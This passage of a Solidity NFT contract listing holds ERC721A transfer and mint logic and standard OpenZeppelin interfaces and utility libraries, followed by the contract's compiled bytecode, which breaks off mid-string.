memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require( _exists(tokenId), "ERC721A: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721A: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102045760003560e01c806370a0823111610118578063a22cb465116100a0578063c87b56dd1161006f578063c87b56dd146105ba578063c93c266e146105da578063d7224ba0146105fa578063e985e9c514610610578063f2fde38b1461065957600080fd5b8063a22cb46514610533578063b0f2f2f114610553578063b88d4fde14610573578063c19d93fb1461059357600080fd5b80638da5cb5b116100e75780638da5cb5b146104aa5780638fa2a9f0146104c857806395d89b41146104e85780639e062c53146104fd578063a035b1fe1461051d57600080fd5b806370a0823114610442578063715018a61461046257806375f0121a146104775780638d6cc56d1461048a57600080fd5b80632f745c591161019b5780634f6ccce71161016a5780634f6ccce7146103a45780635ac5309a146103c45780635b7633d0146103e45780636352211e146104045780636ad5b3ea1461042457600080fd5b80632f745c591461033957806332cb6b0c146103595780633ccfd60b1461036f57806342842e0e1461038457600080fd5b806309c71e16116101d757806309c71e16146102ba57806318160ddd146102da57806323b872dd146102f95780632cde45ba1461031957600080fd5b806301ffc9a71461020957806306fdde031461023e578063081812fc14610260578063095ea7b314610298575b600080fd5b34801561021557600080fd5b50610229610224366004612ddf565b610679565b60405190151581526020015b60405180910390f35b34801561024a57600080fd5b506102536106e6565b6040516102359190613021565b34801561026c57600080fd5b5061028061027b366004612e7c565b610778565b6040516001600160a01b039091168152602001610235565b3480156102a457600080fd5b506102b86102b3366004612ce9565b610808565b005b3480156102c657600080fd5b506102b86102d5366004612d12565b610920565b3480156102e657600080fd5b506001545b604051908152602001610235565b34801561030557600080fd5b506102b8610314366004612c1f565b610b00565b34801561032557600080fd5b506102b8610334366004612e36565b610b0b565b34801561034557600080fd5b506102eb610354366004612ce9565b610b6a565b34801561036557600080fd5b506102eb61271081565b34801561037b57600080fd5b506102b8610cf2565b34801561039057600080fd5b506102b861039f366004612c1f565b610d76565b3480156103b057600080fd5b506102eb6103bf366004612e7c565b610d91565b3480156103d057600080fd5b506102b86103df366004612d7b565b610dfa565b3480156103f057600080fd5b50600f54610280906001600160a01b031681565b34801561041057600080fd5b5061028061041f366004612e7c565b610f6b565b34801561043057600080fd5b506010546001600160a01b0316610280565b34801561044e57600080fd5b506102eb61045d366004612bd3565b610f7d565b34801561046e57600080fd5b506102b861100e565b6102b8610485366004612e94565b611062565b34801561049657600080fd5b506102b86104a5366004612e7c565b611392565b3480156104b657600080fd5b506000546001600160a01b0316610280565b3480156104d457600080fd5b506102b86104e3366004612bd3565b61147d565b3480156104f457600080fd5b506102536114e7565b34801561050957600080fd5b506102b8610518366004612dc5565b6114f6565b34801561052957600080fd5b506102eb600a5481565b34801561053f57600080fd5b506102b861054e366004612cc0565b611551565b34801561055f57600080fd5b506102b861056e366004612e17565b611616565b34801561057f57600080fd5b506102b861058e366004612c5a565b611693565b34801561059f57600080fd5b506009546105ad9060ff1681565b6040516102359190612ff9565b3480156105c657600080fd5b506102536105d5366004612e7c565b611712565b3480156105e657600080fd5b506102b86105f5366004612bd3565b6117ed565b34801561060657600080fd5b506102eb60085481565b34801561061c57600080fd5b5061022961062b366004612bed565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561066557600080fd5b506102b8610674366004612bd3565b611857565b60006001600160e01b031982166380ac58cd60e01b14806106aa57506001600160e01b03198216635b5e139f60e01b145b806106c557506001600160e01b0319821663780e9d6360e01b145b806106e057506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600280546106f59061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546107219061312c565b801561076e5780601f106107435761010080835404028352916020019161076e565b820191906000526020600020905b81548152906001019060200180831161075157829003601f168201915b5050505050905090565b6000610785826001541190565b6107ec5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600660205260409020546001600160a01b031690565b600061081382610f6b565b9050806001600160a01b0316836001600160a01b031614156108825760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b60648201526084016107e3565b336001600160a01b038216148061089e575061089e813361062b565b6109105760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c0000000000000060648201526084016107e3565b61091b83838361190d565b505050565b6000546001600160a01b031633146109685760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b6000805b828110156109ba5783838281811061099457634e487b7160e01b600052603260045260246000fd5b90506020020135826109a6919061305f565b9150806109b281613167565b91505061096c565b506103e8811115610a195760405162461bcd60e51b815260206004820152602360248201527f4d6178696d756d203130303020746f6b656e7320706572207472616e7361637460448201526234b7b760e91b60648201526084016107e3565b61271081610a2660015490565b610a30919061305f565b1115610a775760405162461bcd60e51b815260206004820152601660248201527545786365656473206d6178696d756d20737570706c7960501b60448201526064016107e3565b60005b84811015610af857610ae6868683818110610aa557634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610aba9190612bd3565b858584818110610ada57634e487b7160e01b600052603260045260246000fd5b90506020020135611969565b80610af081613167565b915050610a7a565b505050505050565b61091b8383836119a4565b6000546001600160a01b03163314610b535760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b8051610b6690600c906020840190612a3f565b5050565b6000610b7583610f7d565b8210610bce5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016107e3565b6000610bd960015490565b905060008060005b83811015610c83576000818152600460209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610c3457805192505b876001600160a01b0316836001600160a01b03161415610c705786841415610c62575093506106e092505050565b83610c6c81613167565b9450505b5080610c7b81613167565b915050610be1565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201527f6f776e657220627920696e64657800000000000000000000000000000000000060648201526084016107e3565b6000546001600160a01b03163314610d3a5760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b6010546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610d73573d6000803e3d6000fd5b50565b61091b83838360405180602001604052806000815250611693565b6000610d9c60015490565b8210610df65760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b60648201526084016107e3565b5090565b6000546001600160a01b03163314610e425760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b6103e8610e4f828461308b565b1115610ea95760405162461bcd60e51b815260206004820152602360248201527f4d6178696d756d203130303020746f6b656e7320706572207472616e7361637460448201526234b7b760e91b60648201526084016107e3565b612710610eb6828461308b565b600154610ec3919061305f565b1115610f0a5760405162461bcd60e51b815260206004820152601660248201527545786365656473206d6178696d756d20737570706c7960501b60448201526064016107e3565b60005b82811015610f6557610f53848483818110610f3857634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610f4d9190612bd3565b83611969565b80610f5d81613167565b915050610f0d565b50505050565b6000610f7682611d33565b5192915050565b60006001600160a01b038216610fe95760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084016107e3565b506001600160a01b03166000908152600560205260409020546001600160801b031690565b6000546001600160a01b031633146110565760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b6110606000611eeb565b565b60095460ff16600381111561108757634e487b7160e01b600052602160045260246000fd5b158015906110ba575060095460ff1660038111156110b557634e487b7160e01b600052602160045260246000fd5b600314155b6111065760405162461bcd60e51b815260206004820152601360248201527f53616c65206973206e6f7420737461727465640000000000000000000000000060448201526064016107e3565b3332146111555760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920454f412063616e2063616c6c20746869732066756e6374696f6e0060448201526064016107e3565b6000831180156111bd5750600954600e9060009060ff16600381111561118b57634e487b7160e01b600052602160045260246000fd5b60038111156111aa57634e487b7160e01b600052602160045260246000fd5b8152602001908152602001600020548311155b6112095760405162461bcd60e51b815260206004820152601860248201527f496e636f7272656374206d696e74696e6720616d6f756e74000000000000000060448201526064016107e3565b600b5460ff166112e457600954600e9060009060ff16600381111561123e57634e487b7160e01b600052602160045260246000fd5b600381111561125d57634e487b7160e01b600052602160045260246000fd5b81526020019081526020016000205483600d8460405161127d9190612f62565b908152602001604051809103902054611296919061305f565b11156112e45760405162461bcd60e51b815260206004820152601b60248201527f4d696e74696e6720616d6f756e7420657863656564206c696d6974000000000060448201526064016107e3565b600b5460ff1661135557600f54611309903390849084906001600160a01b0316611f3b565b6113555760405162461bcd60e51b815260206004820152601160248201527f5469636b657420697320696e76616c696400000000000000000000000000000060448201526064016107e3565b82600d836040516113669190612f62565b90815260200160405180910390206000828254611383919061305f565b9091555061091b905083611f95565b6000546001600160a01b031633146113da5760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b662386f26fc100008110156114215760405162461bcd60e51b815260206004820152600d60248201526c507269636520746f6f206c6f7760981b60448201526064016107e3565b674563918244f4000081106114785760405162461bcd60e51b815260206004820152600e60248201527f507269636520746f6f206869676800000000000000000000000000000000000060448201526064016107e3565b600a55565b6000546001600160a01b031633146114c55760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6060600380546106f59061312c565b6000546001600160a01b0316331461153e5760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b600b805460ff1916911515919091179055565b6001600160a01b0382163314156115aa5760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c657200000000000060448201526064016107e3565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000546001600160a01b0316331461165e5760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b6009805482919060ff1916600183600381111561168b57634e487b7160e01b600052602160045260246000fd5b021790555050565b61169e8484846119a4565b6116aa84848484612093565b610f655760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b60648201526084016107e3565b606061171f826001541190565b6117915760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016107e3565b600061179b6121e9565b905060008151116117bb57604051806020016040528060008152506117e6565b806117c5846121f8565b6040516020016117d6929190612f7e565b6040516020818303038152906040525b9392505050565b6000546001600160a01b031633146118355760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461189f5760405162461bcd60e51b815260206004820181905260248201526000805160206131ef83398151915260448201526064016107e3565b6001600160a01b0381166119045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e3565b610d7381611eeb565b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600481111561199a5760005b8181101561091b5761198883600161232a565b8061199281613167565b915050611975565b610b66828261232a565b60006119af82611d33565b80519091506000906001600160a01b0316336001600160a01b031614806119e65750336119db84